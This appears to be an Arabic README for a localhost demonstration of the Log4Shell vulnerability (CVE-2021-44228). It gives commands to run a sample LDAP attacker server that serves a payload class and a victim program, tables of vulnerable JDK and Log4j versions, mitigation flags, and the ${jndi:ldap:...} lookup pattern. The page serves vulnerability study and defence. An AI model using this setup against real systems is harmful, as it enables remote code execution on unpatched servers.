
عرض توضيحي قصير لـ CVE-2021-44228
عرض توضيحي قصير لـ CVE-2021-44228
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
الروابط:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
| الإصدار | الحالة |
|---|---|
Oracle JDK 8u5 | قابل للاختراق |
OpenJDK 8u312 | غير قابل للاختراق (ما لم يتم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
IBM OpenJDK 8u312-b07 (OpenJ9) | غير قابل للاختراق (ما لم يتم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.7+10 | غير قابل للاختراق (ما لم يتم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.13+8 | غير قابل للاختراق (ما لم يتم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 16+36 | غير قابل للاختراق (ما لم يتم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17+35 | غير قابل للاختراق (ما لم يتم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17.0.1+12 | غير قابل للاختراق (ما لم يتم تعيين -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
إذا لم يكن قابلًا للاختراق، فسيتم إرجاع مثيل من javax.naming.Reference من javax.naming.Context.lookup().
إذا لم يكن قابلًا للاختراق فيما يتعلق بتحميل الفئات من قواعد الشفرات البعيدة، فمن المحتمل أن ثغرات إلغاء التسلسل في Java لا تزال موجودة!
| الإصدار | الحالة |
|---|---|
2.9.1 | قابل للاختراق |
2.10.0 | قابل للاختراق (ما لم يتم تعيين -Dlog4j2.formatMsgNoLookups=true أو متغير البيئة LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.14.1 | قابل للاختراق (ما لم يتم تعيين -Dlog4j2.formatMsgNoLookups=true أو متغير البيئة LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.15.0 | غير قابل للاختراق |
إذا لم يكن قابلًا للاختراق، فلن يتم تحليل ${jndi:ldap:...}.